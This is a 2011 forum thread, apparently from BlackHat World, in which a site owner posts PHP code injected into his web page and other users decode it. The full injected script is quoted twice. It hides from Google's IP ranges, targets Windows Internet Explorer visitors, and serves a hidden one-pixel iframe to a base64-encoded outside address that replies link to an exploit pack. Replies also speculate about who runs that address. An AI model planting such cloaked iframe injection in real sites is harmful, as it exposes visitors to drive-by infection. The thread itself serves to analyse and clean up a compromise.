Site got hacked - can anyone decipher this?

Total Noob · Jun 17, 2011

Site is standard HTML/CSS, found this at the bottom of the page under the </html> tag. Anyone?

Code:

<?

function net_match ( $network , $ip ) {
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}

function net()
{
$ip=$_SERVER['REMOTE_ADDR'];

if(
net_match('64.233.160.0/19',$ip)==0 &&
net_match('66.102.0.0/20',$ip)==0 &&
net_match('66.249.64.0/19',$ip)==0 &&
net_match('72.14.192.0/18',$ip)==0 &&
net_match('74.125.0.0/16',$ip)==0 &&
net_match('89.207.224.0/24',$ip)==0 &&
net_match('193.142.125.0/24',$ip)==0 &&
net_match('194.110.194.0/24',$ip)==0 &&
net_match('209.85.128.0/17',$ip)==0 &&
net_match('216.239.32.0/19',$ip)==0 &&
net_match('128.111.0.0/16',$ip)==0 &&
net_match('67.217.0.0/16',$ip)==0 &&
net_match('188.93.0.0/16',$ip)==0
)
return true;
}

function detect_os() {
global $os;
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(strpos($user_agent, "Windows") !== false) $os = 'windows';
}detect_os();


function detect_brows() {
global $OOOOO0000, $OOOOOO000;
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
) $OOOOOO000 = "MSIE";
}detect_brows();

$IP = $_SERVER['REMOTE_ADDR'].".log";

function _log()
{ global $IP;
touch ("/tmp/angry/{$IP}");
}
@mkdir('/tmp/angry/');
function _check()
{
global $IP;
if(!file_exists("/tmp/angry/{$IP}")) return true;
}
$dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuNDcuMTcxL0hvbWUvaW5kZXgucGhw');
if(_check())
{
if(net())
{
if($os)
{
if($OOOOOO000 == "MSIE")
{
echo '<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>';

_log();

}}}}

Thanks,

Jared

mirrorer · Jun 17, 2011

Just remove it dude or re-upload the original HTML/css file

thxflash · Jun 17, 2011

Jared255 said:

Site is standard HTML/CSS, found this at the bottom of the page under the </html> tag. Anyone?

Code:

<?

function net_match ( $network , $ip ) {
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}

function net()
{
$ip=$_SERVER['REMOTE_ADDR'];

if(
net_match('64.233.160.0/19',$ip)==0 &&
net_match('66.102.0.0/20',$ip)==0 &&
net_match('66.249.64.0/19',$ip)==0 &&
net_match('72.14.192.0/18',$ip)==0 &&
net_match('74.125.0.0/16',$ip)==0 &&
net_match('89.207.224.0/24',$ip)==0 &&
net_match('193.142.125.0/24',$ip)==0 &&
net_match('194.110.194.0/24',$ip)==0 &&
net_match('209.85.128.0/17',$ip)==0 &&
net_match('216.239.32.0/19',$ip)==0 &&
net_match('128.111.0.0/16',$ip)==0 &&
net_match('67.217.0.0/16',$ip)==0 &&
net_match('188.93.0.0/16',$ip)==0
)
return true;
}

function detect_os() {
global $os;
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(strpos($user_agent, "Windows") !== false) $os = 'windows';
}detect_os();


function detect_brows() {
global $OOOOO0000, $OOOOOO000;
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
) $OOOOOO000 = "MSIE";
}detect_brows();

$IP = $_SERVER['REMOTE_ADDR'].".log";

function _log()
{ global $IP;
touch ("/tmp/angry/{$IP}");
}
@mkdir('/tmp/angry/');
function _check()
{
global $IP;
if(!file_exists("/tmp/angry/{$IP}")) return true;
}
$dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuNDcuMTcxL0hvbWUvaW5kZXgucGhw');
if(_check())
{
if(net())
{
if($os)
{
if($OOOOOO000 == "MSIE")
{
echo '<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>';

_log();

}}}}

Thanks,

Jared

The base64 code is this "http://129.121.47.171/Home/index.php" = $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuNDcuMTcxL0hvbWUvaW5kZXgucGhw');

Hope that helps!

davids355 · Jun 17, 2011

Yes forget about deciphering it, remove the code and track down the hole that let it in to start with - and make sure it doesn't happen again!

JesusBack · Jun 17, 2011

basically someone is iframing another one of their own sites for some reason and blocking off a few IP's from it showing (yours?) and only making it show on windows+ie (browser virus?).

And the fact that they're using an IP as their site means you don't really have a way to shut them down (so yeah, it's probably some malware being installed to all your windows+ie users).

r00tk3y · Jun 17, 2011

Could be iframed to a java driveby website.

maximviper · Jun 17, 2011

same thing happened with my sites. also i found millions of html pages of about size 350mb were uploaded to my hosting. i never understood the reasonn for them

Hostwinds · Jun 17, 2011

net_match('64.233.160.0/19',$ip)==0 && net_match('66.102.0.0/20',$ip)==0 && net_match('66.249.64.0/19',$ip)==0 && net_match('72.14.192.0/18',$ip)==0 && net_match('74.125.0.0/16',$ip)==0 && net_match('89.207.224.0/24',$ip)==0 && net_match('193.142.125.0/24',$ip)==0 && net_match('194.110.194.0/24',$ip)==0 && net_match('209.85.128.0/17',$ip)==0 && net_match('216.239.32.0/19',$ip)==0 && net_match('128.111.0.0/16',$ip)==0 && net_match('67.217.0.0/16',$ip)==0 && net_match('188.93.0.0/16',$ip)==0

I wonder why they are blocking these huge IP ranges.......maybe government IP's???, I mean who has a /16 honestly??

bezopravin · Jun 17, 2011

Those are all the IPs of Google.

Edit :

From what am seeing when someone visits your site, the script checks whether the visitor is a google bot. If not, it checks the OS. If its windows, the script then continues execution and checks the browser. If its IE, then it checks its log whether the visitor already visited your site. If yes, it opens this url in iFrame. http: //129.121.47.171/Home/index.php. If not, It creates a folder inside temp directory /tmp/angry/. The name of the created folder will be the visitors IP address.

You can see all the sites affected by this Virus http://www.google.com/search?q=inurl:/tmp/angry/&hl=en&safe=off&client=firefox-a&hs=W6M&rls=org.mozilla:en-GB:official&prmd=ivns&ei=4cr7TcKqCcXnrAeI8e3YDw&start=0&sa=N&biw=1442&bih=722

The creator of this virus don't want your site to be marked as infected site by google. You can see This site may harm your computer. http://www.google.com/support/bin/answer.py?answer=45449&topic=360&hl=en&?sa=X&ei=wc77TabgAsPRrQeYpsjkDw&ved=0CEIQ2gEwBgunder the results on the above link. Thats why he blocked all Google IPs. Pretty Clever!

Hostwinds · Jun 17, 2011

bezopravin said:
Those are all the IPs of Google.

That is insane there are 65,536 IP's in a /16......

Your 100% right though, Rwhois doesnt lie

pheezy9 · Jul 25, 2011

My site got hacked with the same exact code. Will you kind enough to tell me a little about your experience with it? I keep removing the code but the malicious code keeps getting added to the same file and other files =/

eskimo · Jul 25, 2011

the script is creating an iframe (except to a bunch of IP's, for them it doesnt show)
the iframe points to

Code:

http://129.121.47.171/

which is

Code:

http://www.callingcards.com

jon_xx_x · Jul 25, 2011

Was gonna guess Google.

bezopravin said:
Those are all the IPs of Google.

Edit :

From what am seeing when someone visits your site, the script checks whether the visitor is a google bot. If not, it checks the OS. If its windows, the script then continues execution and checks the browser. If its IE, then it checks its log whether the visitor already visited your site. If yes, it opens this url in iFrame. http: //129.121.47.171/Home/index.php. If not, It creates a folder inside temp directory /tmp/angry/. The name of the created folder will be the visitors IP address.

You can see all the sites affected by this Virus here

The creator of this virus don't want your site to be marked as infected site by google. You can see This site may harm your computer. http://www.google.com/support/bin/a...a=X&ei=wc77TabgAsPRrQeYpsjkDw&ved=0CEIQ2gEwBgunder the results on the above link. Thats why he blocked all Google IPs. Pretty Clever!

altschule · Jul 25, 2011

eskimo said:
the script is creating an iframe (except to a bunch of IP's, for them it doesnt show)
the iframe points to

Code:

http://129.121.47.171/

which is

Code:

http://www.callingcards.com

Also...

Code:

http://koreacallingcards.com/

whois shows a name, address, phone, and fax.

itslookingback · Jul 25, 2011

iframe leading to exploit pack.

Drink More Tea · Jul 25, 2011

If you got hacked it's 99% probability that it was either via insecure passwords, or an insecure installation of some software on the server upon which your site resides.

Site got hacked - can anyone decipher this?

Total Noob

Banned - By Request

mirrorer

Elite Member

thxflash

Power Member

davids355

Super Moderator

JesusBack

BANNED

r00tk3y

BANNED

maximviper

BANNED

Hostwinds

Power Member

bezopravin

BANNED

Hostwinds

Power Member

pheezy9

Newbie

eskimo

Regular Member

jon_xx_x

Elite Member

altschule

Regular Member

itslookingback

Newbie

Drink More Tea

Regular Member

Main Menu

Marketplace

Making Money

BlackHat World